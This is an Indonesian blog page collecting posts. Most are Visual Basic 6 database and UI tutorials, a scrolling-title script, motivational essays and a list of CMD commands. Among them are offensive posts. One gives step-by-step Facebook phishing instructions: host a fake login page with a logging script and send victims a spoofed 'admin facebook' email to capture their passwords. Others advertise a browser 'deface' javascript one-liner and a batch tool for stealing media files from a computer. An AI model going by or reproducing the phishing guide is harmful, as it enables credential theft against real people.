pencarian

Rabu, 13 April 2011

Contoh Aplikasi Database Bag. II (VB6)

Pada kesempatan kali saya mencoba untuk berbagi lagi khusus bagi VB developer yg masih junior seperti saya tentang Pemrogram Database yg memakai Acces 2003 bagian 2, disini saya juga tidak menulis coding-coding nya karena lumayan panjang bisa pingsan jari saya kalaw ngetik nya hehehe … tapi temen-temen bisa mendownload nya. Aplikasi ini tentang Daftar Urut Kepangkatan (DUK) PNS yaitu cara menyortir Kepangkatan PNS yg merupakan Aplikasi saya yg ke dua untuk program database. Hal-hal yang dibahas dalam aplikasi antara lain :

1. Sortiran Data
2. Contoh sederhana tentang membuat program serial number (Trial Version)
3. Input Data

4. Edit Data
5. Hapus data
6. Output data (Mencetak Data) dengan Crystall Report

7. Backup Database

8. Compact Database
9. Mencopy dan menghapus file


Screen shot seperti gambar di bawah ini



Aplikasi ini belum final 100 % , dan agar program ini bisa berjalan dengan baik .. pastikan Settingan Format Tanggal pada komputer anda dd/mm/yyyy. Bagi yg ingin memodifikasi program ini saya persilahkan.

Yang berminat bisa mendownload nya disini … untuk password aplikasi ini 1234 Semoga ada mampaat nya bagi kita semua …. Terimakasih …salam

Membuat Database dengan memakai coding (VB6)

Pada posting kali ini saya coba mengulas kembali mengenai pembuatan program dengan Visual Basic khususnya tentang database. Ada beberapa alternatif dalam hal pembuatan database ini seperti memakai Visdata yang merupakan Tool bawaan dari VB, SqlServer, Ms. Acces, memakai coding dll. Nah kali ini saya akan membahas sesuai dengan judul posting yaitu Membuat Database dengan memakai coding. Untuk mempersingkat waktu kita langsung to the point aja, persiapan yang harus dilakukan ……………

Buatlah Project baru (Standard Exe)

Tambahkan Microsoft DAO 3.6 Object Library dengan cara click menu Project > References … cari dan pilih Microsoft DAO 3.6 Object Library

Tambahkan 1 module

'Ketik coding berikut pada Module

Option Explicit
Public DbLokasi As String
Public DbNama As String

Public Function CreateDB()
Dim DTB As Database
Dim Tabel As TableDef

Screen.MousePointer = vbHourglass
Set DTB = CreateDatabase(DbLokasi & "\" & DbNama, dbLangGeneral)

Set Tabel = DTB.CreateTableDef("Login")
With Tabel
.Fields.Append .CreateField("UserName", dbText)
.Fields.Append .CreateField("Password", dbText)
End With
DTB.TableDefs.Append Tabel

Set Tabel = Nothing
DTB.Close
Screen.MousePointer = vbDefault

End Function

'Ketik Coding berikut pada Form

Private Sub Form_Load()
DbLokasi = App.Path
DbNama = "DBase.mdb"

If Dir(DbLokasi & "\" & DbNama) <> "" Then
Kill DbLokasi & "\" & DbNama
End If

Call CreateDB
End Sub

Kemudian simpan project lalu run program, lihat pada folder tempat anda menyimpan project sudah ada file baru dengan nama “DBase.mdb”

Mudah2an ada mamfaat nya bagi anda … terimakasih

Membuat Form Transparan

Tips kali ini adalah bagaimana Membuat Form Transparant dengan Visual Basic, disini kita menggunakan Fungsi API yaitu GetWindowLong, SetWindowLong dan SetLayeredWindowAttributes. Saya rasa tidak perlu penjelasan yang detail untuk hal ini sobat bisa langsung melihat penampakannya dibawah ini
Bagaimana dengan Codingnya ikuti Langkah - Langkah Berikut :

  • Buat Project Baru Standart Exe
Ketik Coding dibawah ini pada Form Project Sobat

Option Explicit

Private Const WS_EX_LAYERED = &H80000
Private Const GWL_EXSTYLE = (-20)
Private Const LWA_COLORKEY = &H1
Private Const LWA_ALPHA = &H2

Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crColor As Long, ByVal nAlpha As Byte, ByVal dwFlags As Long) As Long

Private Sub Form_Load()
Call SetWindowLong(Me.hwnd, GWL_EXSTYLE, GetWindowLong(Me.hwnd, GWL_EXSTYLE) Or WS_EX_LAYERED)
Call SetLayeredWindowAttributes(Me.hwnd, RGB(255, 0, 255), 128, LWA_ALPHA Or LWA_COLORKEY)
End Sub


Untuk ketajaman transparant sobat bisa menggati Angka - Angka yang berwarna merah dengan angka yang lain (maximal value 255). Mudah - mudahan ada mamfaatnya selamat mencoba ... salam

Cara Register File dengan Visual Basic

Dalam membangun sebuah Aplikasi pastilah sangat dibutuhkan file - file pendukung supaya aplikasinya kelihatan lebih profesional seperti file Ocx , file Dll dan lain sebagainya. Topik kali ini masih seputar Tutorial Visual Basic yaitu mengenai Cara Register File pendukung tersebut lewat coding dengan Visual Basic karena banyak kasus file - file tersebut tidak akan berjalan sebelum didaftarkan atau diregister ke Sistem.

Sebagai contoh mungkin sobat - sobat pernah mengalami aplikasinya tidak dapat dijalankan atau istilahnya runtime error setelah di Instalkan kekomputer lain karena file pendukung tidak diregister, nah bagai mana caranya supaya langsung diregister melalui coding bagi yang tertarik silahkan ikuti langkah - langkah berikut

'Letakan Coding dibawah ini pada Module Project
Private Declare Function LoadLibraryRegister Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Private Declare Function CreateThreadForRegister Lib "kernel32" Alias "CreateThread" (lpThreadAttributes As Any, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, ByVal lParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function GetProcAddressRegister Lib "kernel32" Alias "GetProcAddress" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function FreeLibraryRegister Lib "kernel32" Alias "FreeLibrary" (ByVal hLibModule As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function GetExitCodeThread Lib "kernel32" (ByVal hThread As Long, lpExitCode As Long) As Long
Private Declare Sub ExitThread Lib "kernel32" (ByVal dwExitCode As Long)

Public Function RegServer(ByVal FileName As String) As Boolean
RegServer = RegSvr32(FileName, False)
End Function

Public Function UnRegServer(ByVal FileName As String) As Boolean
UnRegServer = RegSvr32(FileName, True)
End Function

Private Function RegSvr32(ByVal FileName As String, bUnReg As Boolean) As Boolean

Dim lLib As Long
Dim lProcAddress As Long
Dim lThreadID As Long
Dim lSuccess As Long
Dim lExitCode As Long
Dim lThread As Long
Dim bAns As Boolean
Dim sPurpose As String

sPurpose = IIf(bUnReg, "DllUnregisterServer", _
"DllRegisterServer")

If Dir(FileName) = "" Then Exit Function

lLib = LoadLibraryRegister(FileName)
If lLib = 0 Then Exit Function

lProcAddress = GetProcAddressRegister(lLib, sPurpose)

If lProcAddress = 0 Then
FreeLibraryRegister lLib
Exit Function
Else
lThread = CreateThreadForRegister(ByVal 0&, 0&, ByVal lProcAddress, ByVal 0&, 0&, lThread)
If lThread Then
lSuccess = (WaitForSingleObject(lThread, 10000) = 0)
If Not lSuccess Then
Call GetExitCodeThread(lThread, lExitCode)
Call ExitThread(lExitCode)
bAns = False
Exit Function
Else
bAns = True
End If
CloseHandle lThread
FreeLibraryRegister lLib
End If
End If
RegSvr32 = bAns
End Function

'Contoh Penerapan Fungsi-fungsi Register diatas
Public Function Sub RegisterFile() as Boolean
Dim FileSys1 As String

FileSys1 = "C:\Windows\System32\vbaListView6.ocx"
If Dir(FileSys1) <> "" Then
RegisterFile = RegServer(FileSys1)
end if
End Function

Sekarang masukan fungsi RegisterFile tersebut kedalam Start up Program misal di Sub Main Coding seperti dibawah ini

Sub Main()
call RegisterFile
End Sub


Cukup dulu pembahasan tentang Cara Register File mudah-mudahan ada mamfaat nya bagi sobat-sobat, kalau ada kesempatan akan kita lanjutkan tentang pembahasan yang lain yang pasti masih seputar Tutorial Visual Basic selamat mencoba dan terima kasih.

Membuat Animasi Judul Blog

http://erge32.blogspot.com Sebelum memulai posting ketawa dulu ah ... hahahahah ... ini tandanya senang sob ... hehehe, sebenarnya saya agak ragu-ragu memposting tentang hal ini (Animasi Judul Blog) karena masih newbie banget .. masih hijau dalam dunia persilatan Blogger hehehe , karena baru 4 bulan saya mengenal dunia persilatan bloger ini. Tapi berhubung ada beberapa orang temen yang merequest di shoutmix jadi saya memberanikan diri aja untuk memposting ini walaupun sudah banyak yang tau alias bukan hal yang baru lagi.


Ada yang bilang .. wuih keren banget judul nya bro .. bisa lari-lari gitu, ada juga yang bilang .. senang ya kalau bisa buat judul blog kayak gitu ... trus ada juga yang bilang ... bro, minta dunk santet nya gimana buat judul blog bisa kayak gitu ... wah banyak lagi deh, maksud nya judul blog seperti yang di bar (EKAKOM SITE).

Nah buat temen-temen yang nanya-nanya ... ini script nya .. tinggal copy trus login ke blogger kemudian Tata Letak > Tambah Widget > Html/Java Script > pastekan script tersebut kemudian Simpan Template ... jadi deh, mudah kan ... hehehe, oh iya scriptnya di bawah ini ..


<script language="JavaScript">
<!--
//
//Scrolling Status Bar
putmsg="==welcome==";
letchar2="+==o0o==+";
letchar1="+==o0o==+";ultimo1=letchar1.length-1;
ultimo2=letchar2.length-1;
ultimo2=letchar2.length-1;
tiempo=setTimeout("stat_scroll()",.1);
function stat_scroll()
{
aux1=letchar1.charAt(ultimo1-1);
letchar1=aux1+letchar1.substring(0,ultimo1-1);
aux2=letchar2.charAt(0);
letchar2=letchar2.substring(1,ultimo2+1)+aux2;
window.status="(" + letchar2 + putmsg + letchar1 + ")";
tiempo=setTimeout("stat_scroll()",.1);
return true;
}
// -->
</script>
<script language="JavaScript">
<!--
//
putmsg="[EKAKOM SITE]";
letchar2="+==o0o==+";
letchar1="+==o0o==+";
ultimo2=letchar2.length-4;
ultimo2=letchar2.length-4;
tiempo=setTimeout("tit_scroll()",.1);
function tit_scroll()
{
aux1=letchar1.charAt(ultimo1-1);
letchar1=aux1+letchar1.substring(0,ultimo1-1);
aux2=letchar2.charAt(0);
letchar2=letchar2.substring(1,ultimo2+1)+aux2;
document.title="" + letchar2 + putmsg + letchar1 + "";
tiempo=setTimeout("tit_scroll()",.1);
return true;
}
// -->
</script>


Jangan lupa sob tulisan yang warna kuning (EKAKOM SITE) diganti ama judul blog nya atau apalah terserah sob aja deh ... mudah-mudahan ada mampaat nya untuk kita semua .. amin, sebelumnya terima kasih bagi yang udah mau memberikan komentar nya ... selamat mencoba dan salam ....

Motivasi Diri Menghadapi Kegagalan



Apakah Anda salah satu orang yang takut gagal???
Ya, hampir semua orang merasa takut jika mereka menghadapi kegagalan, takut gagal saat mencoba usaha, takut gagal saat mengikuti ujian test masuk kerja bahkan takut gagal dalam menjalani hidupnya. Sebenarnya perasaan takut yang ada pada diri seseorang hanya akan menghambat kesuksesan yang telah menunggu mereka.
Mungkin Sebagian besar dari Anda pernah mengalami kegagalan dalam mencoba peluang usaha. Kegagalan pun pernah dialami oleh para pengusaha sukses, bahkan tak jarang ada pengusaha yang pernah gagal sampai berkali – kali. Namun hebatnya banyak dari mereka tetap bisa sukses dengan adanya kegagalan yang pernah menimpa usaha mereka. Kuncinya hanya satu, yaitu berani mencoba dan terus memperbaiki penyebab kegagalan yang pernah mereka alami. Anda pun juga dapat sukses setelah mengalami kegagalan, berikut beberapa tips motivasi diri menghadapi kegagalan yang dapat Anda coba :
Selalu berpikiran positif tentang kegagalan. Hadapi kegagalan dengan pikiran yang positif, jangan pernah menyalahkan orang lain atas kegagalan yang Anda alami. Agar Anda dapat melaluinya dengan mencari solusi yang tepat pula, tanpa adanya penyesalan panjang yang akan menghambat kesuksesan di depan Anda.
Jadikan kegagalan sebagai pembelajaran bagi Anda. Adanya kegagalan memberikan kesempatan bagi Anda untuk belajar, untuk itu jangan pernah hindari kegagalan. Karena secara tidak langsung Anda akan mencari tahu penyebab kegagalan tersebut dan berusaha mencari solusi serta menghindari hal – hal yang dapat menyebabkan kegagalan tersebut terulang lagi. Sehingga Anda mengetahui jalan mana yang salah dan cara apa yang benar.
Kegagalan bukan akhir dari segalanya, karena kegagalan hanya bersifat sementara. Satu kali, dua kali, bahkan sepuluh kali gagal bukan merupakan akhir dari hidup Anda. Kegagalan hanya bersifat sementara dan dapat selesai jika Anda mau merubahnya. Anggap kegagalan ibarat orang yang jatuh dari sepeda, orang tersebut tidak akan merasakan sakit yang lama jika dia segera bangkit dan mencari obat luka, begitu juga dengan kegagalan. Seseorang tidak akan terlalu lama merasakan gagal jika orang tersebut segera bangkit dari kegagalan dan mencari jalan keluarnya.
Berusaha bangkit dengan motivasi baru. Jangan terlena dengan penyesalan Anda, segeralah bangkit dari kegagalan. Kumpulkan kembali motivasi diri Anda, dan yakinkan diri Anda bahwa jika ada kegagalan pasti akan ada keberhasilan di depan sana. Keputusannya ada di tangan Anda, apakah Anda akan terus berjalan menjemput keberhasilan itu atau hanya akan berdiam terus meratapi kegagalan yang ada. Sebenarnya orang yang gagal adalah orang yang tidak mau berusaha keluar dari lubang kegagalan.
Kegagalan bukan hal yang perlu ditakuti, karena orang yang takut gagal adalah orang yang jauh dari kesuksesannya. Teruslah bangkit untuk mencoba dan belajar dari kegagalan yang Anda alami, jangan pernah menyerah oleh keadaan yang hanya sementara. Benar kata orang bijak, bahwa kegagalan hanyalah sukses yang tertunda. So, jangan terlalu lama menunda kesuksesan Anda.
Salam sukses…

Motivasi Diri Untuk Mencapai Kesuksesan

SUKSES!!! Sebuah kata yang begitu sederhana, namun membutuhkan proses panjang untuk mencapainya. Selain membutuhkan sebuah proses yang cukup panjang, dalam mencapai kesuksesan juga dibutuhkan adanya motivasi diri yang kuat. Karena dengan berbekal motivasi diri yang kuat, secara tidak langsung mampu menggerakan kita untuk mulai berusaha mendekatkan diri dengan kesuksesan yang dicita-citakan.
Pentingnya motivasi diri untuk meraih kesuksesan tidak dapat diragukan lagi. Tetapi untuk menumbuhkan motivasi dalam diri seseorang tidaklah mudah, karena motivasi juga sering dipengaruhi oleh perasaan dan emosional yang ada dalam diri seseorang. Misalnya saja saat sedang mengikuti seminar motivasi, emosional Anda saat mengikuti seminar tersebut pasti akan naik sehingga Anda begitu termotivasi untuk mewujudkan cita – cita yang ingin dicapai. Namun lihat motivasi Anda setelah satu bulan tidak mengikuti seminar tersebut, motivasi diri Anda akan menurun drastis jika tidak memperoleh siraman motivasi secara rutin.
Berikut beberapa cara rutin yang dapat digunakan untuk menumbuhkan motivasi dalam diri kita untuk mencapai kesuksesan :
1. Mulailah bermimpi dengan akan kesuksesan yang akan Anda raih dengan rasa senang. Dengan adanya rasa senang, Anda akan termotivasi untuk menjalankan semua proses tanpa merasakan beban sedikitpun.
2. Gunakan impian yang ingin dicapai untuk mempengaruhi pikiran bawah sadar Anda. Karena pikiran bawah sadar kita akan mempengaruhi perilaku dan kegiatan yang kita lakukan sesuai dengan apa yang kita cita – citakan.
3. Rajin mencari inspirasi. Carilah inspirasi memacu semangat Anda untuk meraih sukses, misalnya dengan membaca buku perjalanan orang – orang yang telah sukses ataupun mengikuti seminar motivasi yang belakangan ini sering diadakan.
4. Bekerjakeras dan selalu bertanggungjawab. Cara yang kedua ini sangat diperlukan karena dengan kerja keras, semua hambatan serta kegagalan yang terjadi dapat diatasi. Serta dengan adanya rasa tanggungjawab dapat memotivasi kita untuk memberikan hasil yang terbaik.
5. Pilihlah lingkungan yang dapat mendukung impian Anda. Pilihlah teman atau komunitas yang memiliki impian sama dengan Anda, karena dengan dukungan lingkungan sekitar Anda dapat memperoleh motivasi positif dari mereka. Selain itu ada rekan – rekan Anda juga siap memberikan bantuan jika Anda mendapatkan kesulitan dalam menjalankan proses yang ada.
6. Disiplin dan konsisten akan kesuksesan yang ingin dicapai. Tanamkan kedisplinan sejak sekarang, karena dengan membiasakan diri dengan disiplin akan membiasakan diri kita memiliki tujuan dan target yang ingin dicapai setiap harinya. Sehingga impian besar yang kita inginkan lebih cepat tercapai jika proses yang kita kerjakan, dilakukan dengan kedisiplinan.
7. Kembangkan terus impian Anda. Usahakan pilih tujuan hidup yang tidak terlalu sederhana, karena impian yang terlalu sederhana membuat kita tidak sepenuhnya termotivasi. Karena untuk menumbuhkan motivasi dan kekuatan diri kita sebenarnya diperlukan sebuah mimpi besar yang ingin kita capai.
Kunci sukses seseorang tergantung dengan besarnya motivasi diri yang dimilikinya. Kembangkan motivasi diri kita dan lakukan proses pencapaian impian Anda mulai dari sekarang.
Salam sukses…

Membuat Program Penjualan Visual Basic 1 : Membuat Database

Membuat Program Penjualan Visual Basic 1 : Membuat Database
Visual Basic adalah salah satu bahasa pemograman yang masih banyak dipakai orang dari dulu sampai saat ini. Banyak sekali software yang dibuat dengan bahasa pemograman ini. Dan bisa juga digunakan untuk membuat program penjualan, program gaji, dan aplikasi aplikasi komputer lainnya yang bisa dipakai di sekolah sekolah, kantor kantor ataupun toko toko. Bahkan membuat virus bisa dilakukan dengan Visual basic.
Disini saya mencoba mengajak anda untuk belajar memahami visual basic dengan cara membuat suatu program penjualan sederhana yang umum digunakan orang. Software yang saya gunakan adalah Microsoft Visual Basic 6.0 dengan memakai database microsoft Office Access yang memakai Data Control DAO. Sedangkan program penjualan yang kita buat adalah Program Penjualan Buku.
A. MEMBUAT DATABASE
Pada bagian yang pertama ini kita belajar membuat Database
- Bukalah program Microsoft Visual Basic
- Buatlah sebuah database baru caranya pilih ADD-INS – VISUAL DATA MANAGER.
- Pada layar VIS DATA pilih FILE – NEW – MICROSOFT ACCESS – VERSION 7.0 MDB lalu SAVE dengan nama BUKU.mdb
- Pada DATABASE WINDOW buatlah Table baru dengan cara klick kanan lalu pilih NEW TABLE.
- Tulislah nama table nya pada TABLE NAME dengan nama TABLE_BUKU.
- Isilah field field yang dibutuhkan dengan cara menekan tombol ADD FIELDS.
- Tuliskan nama fieldnya lalu pilih Type nya dan tulis ukuran / Size nya.
1. Membuat TABLE BUKU
Table buku digunakan dengan untuk mengisi semua buku yang akan dimasukan.
Table Name: TABLE_BUKU
Name
Type
Size
Keterangan
Kunci
Kode_buku Text 6
Primary Key
Judul_buku Text 20

Jenis_buku Text 10

Karang_buku Text 20 Pengarang buku
Terbit_buku Text 20 Penerbit buku
Tahun_buku Text 4 Tahun terbit buku
Harga_buku Currency 8

Stok_buku Single 4

- Setelah semua field selesai ditulis buatlah PRIMARY KEY nya dengan cara menekan ADD INDEX. Tulislah:
Name: Kode_buku
Indexed fields: Kode_buku
Beri tanda checklist pada Primary dan Unique tekan Oke
Tekan tombol BUILD THE TABLE.
- Dengan begitu Table buku telah selesai dibuat.
- Buatlah beberapa Table lain dengan cara seperti tadi. Adapun ketentuannya adalah:
2. Membuat TABLE PELANGGAN
Kenapa disini saya membuat Table Pelanggan? Karena contoh program penjualan yang saya buat disini digunakan untuk distributor buku yang menjual buku bukunya kepada toko toko (pelanggan), oleh karena itu diperlukan Table Pelanggan. Isi fieldnya :
Table Name: TABLE_PELANGGAN
Name
Type
Size
Keterangan
Kunci
Kode_pelanggan Text 6
Primary Key
Nama_pelanggan Text 20

Alamat_pelanggan Text 10

Telpon_pelanggan Text 20

3. Membuat TABLE USER
Table User digunakan untuk mengisi data para pemakai program ini. User disini dibuat menjadi 2 Type yaitu Administrator User dan Limited User. Administrator dapat menggunakan seluruh isi dari program ini tanpa batasan sedangkan Limited dibatasi.
Table Name: TABLE_USER
Name
Type
Size
Keterangan
Kunci
Id_user Text 4
Primary Key
Nama_user Text 20

Type_user Text 15

Telpon_user Text 15

Alamat_user Text 30


Password_user Text 10


4. Membuat TABLE TRANSAKSI
Table Transaksi adalah table yang sangat penting karena dilakukan untuk memasukan semua transaksi penjualan buku yang ada. Di table inilah seorang user memakai program ini untuk menghitung semua transaksi penjualan buku.
Table Name: TABLE_TRANSAKSI
Name
Type
Size
Keterangan
Kunci
No_faktur Text 10 Nomor Faktur Primary Key
Tgl_faktur Date/Time 8 Tanggal Faktur
Kode_pelanggan Text 6 harus sama dengan Table_pelanggan
Id_user Text 4 harus sama dengan Table_user
Biaya_kirim Currency 8


Total_bayar Currency 8


5. Membuat TABLE DETAIL
Table Detail digunakan untuk menjabarkan isi dari Table Transaksi secara lebih khusus. Contohnya: Pada Table Transaksi seorang pelanggan (toko) membeli buku pada suatu hari. Adapun rincian dari apa yang dibeli dijelaskan pada Table Detail seperti buku apa saja yang dia beli, berapa jumlah yang dibeli, dan berapa harga asli dan total harganya.
Untuk Table Detail Tidak ada PRIMARY KEY nya sehingga tidak perlu memencet ADD INDEX ketika membuat table ini.
Table Name: TABLE_DETAIL
Name
Type
Size
Keterangan
Kunci
No_faktur Text 10 harus sama dengan Table_transaksi Tidak Ada
Kode_buku Text 6 harus sama dengan Table_buku
Jumlah_beli Single 4

Total_harga Currency 8

6. Membuat Table Bantu
Isi field dari Table Bantu sama persis dengan yang ada di Table Detail. Kedua table ini memang sama sama menjabarkan isi dari Table Transaksi. Sedangkan perbedaannya adalah terletak pada fungsinya. Table Bantu digunakan untuk menampung data yang akan dimasukan ke dalam Table Detail secara sementara sehingga sangat membantu dalam proses penyimpanan data. Sedangkan isi dari Table Bantu yang berupa data sementara tersebut nantinya akan dihapus. Anda akan mengerti nanti jika kita telah sampai pada pembahasan Listing Program. Table Bantu Juga Tidak Pakai Primary Key jadi tidak usah memencet ADD INDEX.
Table Name: TABLE_BANTU
Name
Type
Size
Keterangan
Kunci
No_faktur Text 10 harus sama dengan Table_transaksi Tidak Ada
Kode_buku Text 6 harus sama dengan Table_buku
Jumlah_beli Single 4

Total_harga Currency 8

7. Membuat Table Bayar
Sebenarnya Table Bayar ini bisa langsung digabungkan saja ke dalam Table Transaksi. Tapi sengaja saya pisahkan agar nanti apabila Table Transaksi dibuat menjadi sebuah laporan, maka laporan tersebut hanya sampai Total Bayar saja. Karena menurut sebagian orang ada yang mengatakan bahwa tidak terlalu penting untuk mengetahui jumlah yang dibayar pelanggan atau uang kembaliannya dan yang terpenting adalah dapat diketahui jumlah pemasukan hari sekian, bulan sekian, atau tahun sekalian. Jadi saya mengambil jalan tengah, Table Bayar ini nantinya tetap saya pakai pada transaksi dan akan saya gunakan dalam pembuatan struk atau faktur juga. Jadi untuk Table Bayar terserah anda apakah ingin memakainya atau tidak, digabung di Table Transaksi atau tidak.
Table Name: TABLE_BAYAR
Name
Type
Size
Keterangan
Kunci
No_faktur Text 10 harus sama dengan Table_transaksi Tidak Ada
Uang_bayar Currency 8

Uang_kembali Currency 8

- Akhirnya semua table telah dibuat dan pembuatan database telah selesai dilakukan.
- Untuk membuka database yang telah kita buat caranya adalah: pilih ADD-INS – VISUAL DATA MANAGER – FILE – OPEN DATABASE – MICROSOFT ACCESS – cari database buku yang tadi kita buat dan buka.
- Silahkan baca tutorial belajar visual basic buatan saya yang lainnya untuk mempelajari lebih lanjut. May ALLAH Bless We All !
By: OPIX HOLMES
opix.holmes@yahoo.com
www.islamicunderground.wordpress.com
vb-database

Kamis, 07 April 2011

MAKE FAKE LOGIN

Malam ini saya akan mengajak facebook’er untuk belajar hacking facebook. Namun tidak menggunakan software facebook freezer melainkan meng-hack facebookfacebook dengan fake login atau halaman login palsu untuk mendapatkan username dan password facebook si korban. Cara hack meng-hack ini sebenarnya merupakan cara jadul yang dilakukan para hacker. Tapi ampuh lho ! Penasaran ? Mau ?
Hacking facebook dengan fake login :

1. Buatlah akun dengan mendaftar di webhosting gratisan yang mendukung/support PHP. Seperti :

- Byethost

- Ripway

- Fileave, dll


2. Download Script Fake Login disini atau disini. (file.rar)

3. Extrak file tersebut dan simpan/upload di satu direktori di webhosting yang telah anda daftar, contoh http://NamaAnda.fileave.com/facebook/. 3 file tersebut yaitu :

- Index.html
- logs.php
- logs.txt

4.SETELAH ITU edit bagian index.html

dan buat udah jadi nya seperti ini
fake login


dan password akan tercatat ke halaman ini:
Catatan log


NB:LEBIH BAGUS NYA BILA ANDA MEMBUAT DOMAIN YANG LEBIH UNIK,sehingga tidak di curigai.
dan lebih bagus nya membuat email palsu seperti ini:

Buatlah email palsu dengan memberikan embel-embel admin facebook tujuannya agar si korban percaya. contoh :

admin_facebook@yahoo.com / admin.facebook.gmail.com / admin.fb@plasa.com

5. Terus download isi pesan untuk email palsu disini atau disini. (file.doc)


6. Buka isi file tersebut. Lalu ganti nama Cinta yang berwarna merah dengan nama anda dan ganti alamat_email_anda@gmail.com yang berwarna merah dengan alamat email palsu anda. Terus pada URL :

http://www.facebook.com/n/?reqs.php&mid=883451G4a3b0e7eG88f1e5G2

Yang berwarna biru ganti dengan URL halaman fake login yang telah anda buat. contoh :



7. Setelah semuanya anda edit, segera kirim isi pesan tersebut ke alamat email si korban .. Alamat email + password si korban akan datang sendirinya ke email palsu anda kalau si korban ketipu … hehehe

sunting from :riswan



selamat mencoba

MEMBUAT APLIKASI CHEAT GAME HEART

kali ini saya membuat aplikasi dengan notepad tentu nya..
yaitu alikasi untuk mengecheat game..
dengan aplikasi ini kartu musuh akan ter buka

1.buka notepad
2.copypaste sript ini


echo off
color 0A
title PENGEN NGE CHEAT maen GAME HEARTS???
echo aktivekan cheat game Hearts:/… (Y/N)?
pause >nul
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Hearts" /v "ZB" /t REG_SZ /d "42" /f


msg * dasar tukang cheat!!!
msg * berhubung guwe baek yaudah nikmatin aje ya
msg * cara utuk meng aktivkan code nyah dgn cara
msg * Shift+Ctrl+Alt+F12
msg * ingat degan menekan TOMBOL
msg * Shift+Ctrl+Alt+F12
msg * dan jangan lupa beri nama anda sebelum bermain
msg * Created by sohai_meong
msg * Created by sohai_meong
msg * Created by sohai_meong
msg * Created by sohai_meong
msg * virus_maker2
Start mshearts
msg * kartu musuh akan terbuka semua


kemudian save dengan ekstensi .bat
contoh cheat game heart.bat

setelah mengeklik aplikasi ini.

masukan mantera Shift+Ctrl+Alt+F12

kartu akan terbuka

DEFACE WITH JAVASCRIPT

Deface merupakan perbuatan untuk melakukan perubahan
pada halaman web.depan pada situs-situs tertentu, biasanya aktifitas ini dilakukan oleh para hacker atau cracker dengan gerakan undergroundnya sebagai sebuah cyber gang fight untuk mengganggu informasi yang dimunculkan pada halaman situs yang dimaksud.

kali ini saya menulis sebuah postingan yang cukup
unik,karena anda dapat menDeface halaman web,Blog,situs,dll
tetapi hanya sesaat waktu saja.

diantaranya adalah:

Deface1

Code:

javascript: document.body.contentEditable = 'true'; document.designMode = 'on'; void 0


Deface2


code:
javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; var DI= document.images; DIL=DI.length; function A(){for(i=0; i


pilih salah satu code tersebut
copy paste script itu ke tab browser anda.
dan tekan enter... setelah itu.javascript itu berhasil.
silahkan mendeface.!!!! hahaha

MEMBUAT APLIKASI CURI DATA

MEMBUAT APLIKASI SEDERHANA DENGAN NOTEPAD

penjelasan,program ini ber ukuran sangat kecil sekitar,
File Size : 40.00 KB,
file ini terbentuk batch files.

kegunaan aplikasi ini:
untuk nyuri file pada komputer
dan format file :
*.3gp
*.wmv
*.avi
*.jpg
*.rm
*.mp
g

nah format2 diatas tuh yg seringk kita temui dalam video ++
lah hahaha,nah tool ini akan mendeteksi file2 seperti itu di komputer
hahaha. cara make nyah mudah tinggal di klik,trus pilih y,dan tekan Enter2x ampe warna layar berubah trus tunggu in dolo.
Aplikasi akan berjalan dan nikmati hasil nya
dan file td akan tersimpan di "SCC_18202" berbentuk folder


cara membuat

1.Buka notepad

2.copy paste code ini

BELAJAR BAHASA DOS/CMD

Bagi teman-teman yang suka sekali ,atau bahkan belum mengerti bahasa
pemograman seperti DOS/CMD tenang saja ,saya akan memberikan rahasia
itu kepada teman-teman.

Biasanya bahasa dos itu sangat merumitkan namun bila kita sudah mengerti
akan terasa menyenangkan bahkan anda dapat memnuat aplikasi dengan script itu.
seperti halnya dalam pembuatan virus yang berbasiskan batch files.virus
itu di buat dengan mudah pada texeditor sederhana seperti notepad.akan
tetapi tidak semua virus di buat dengan notepad.

teknik dasar nya bila kita membuat suatu file batch(*.bat) bila
saat kita eksekusi file itu,file itu akan terbaca oleh Command Prompt,
sehingga aplikasi itu bisa di jalankan.bila ada sedikit kesalahan
akan terjadi error.oleh karena itu CMD sangat berguna.

BERIKUT cODE DAN BERSERTA fungsi nya:

ASSOC Menampilkan atau mengubah asosiasi ekstensi file.
AT Menjadwalkan perintah dan program agar berjalan di komputer.
ATTRIB Menampilkan atau mengubah atribut file.
BREAK Mengeset atau menghilangkan pengecekan extended CTRL+C.
CACLS Menampilkan atau mengubah access control lists (ACLs) dai files.
CALL Memanggil sebuah program batch dari program batch yang lain.
CD Menampilkan nama atau mengubah direktori sekarang.
CHCP Menampilkan atau mengubah active code page number.
CHDIR Menampilkan nama atau mengubah direktori sekarang.
CHKDSK Memeriksa sebuah disket/harddisk dan menampilkan laporan status..
CHKNTFS Menampilkan atau mengubah pemeriksaan disket pada saat booting.
CLS Menghapus layar..
CMD Menjalankan interpreter command Windows yang baru.
COLOR Mengubah warna foreground dan background pada command prompt.
COMP Membandingkan isi dari dua atau beberapa file.
COMPACT Menampilkan atau mengubah kompresi file pada partisi NTFS.
CONVERT Mengkonversi FAT ke NTFS. Anda tidak dapat mengkonversi drive yang sedang aktif.
COPYMenyalin satu atau beberapa file ke lokasi lain.
DATEMenampilkan atau mengubah tanggal.
DEL Menghapus satu atau beberapa file.
DIR Menampilkan daftar file dan subdirektori dalam sebuah direktori.
DISKCOMP Membandingkan isi dari dua buah disket.
DISKCOPY Menyalin isi dari satu disket ke disket lain.
DOSKEY Mngedit baris perintah, memanggil kembali perintah Windows, dan membuat macro.
ECHO Menampilkan pesan, atau mengubah command echoing on atau off.
ENDLOCAL Mengakhiri localization dari environment changes in a batch file.
ERASE Menghapus satu atau beberapa fie.
EXIT Keluar dari program CMD.EXE.
FC Membandingkan 2 atau beberapa file, dan Menampilkan perbedaan file-file tersebut.
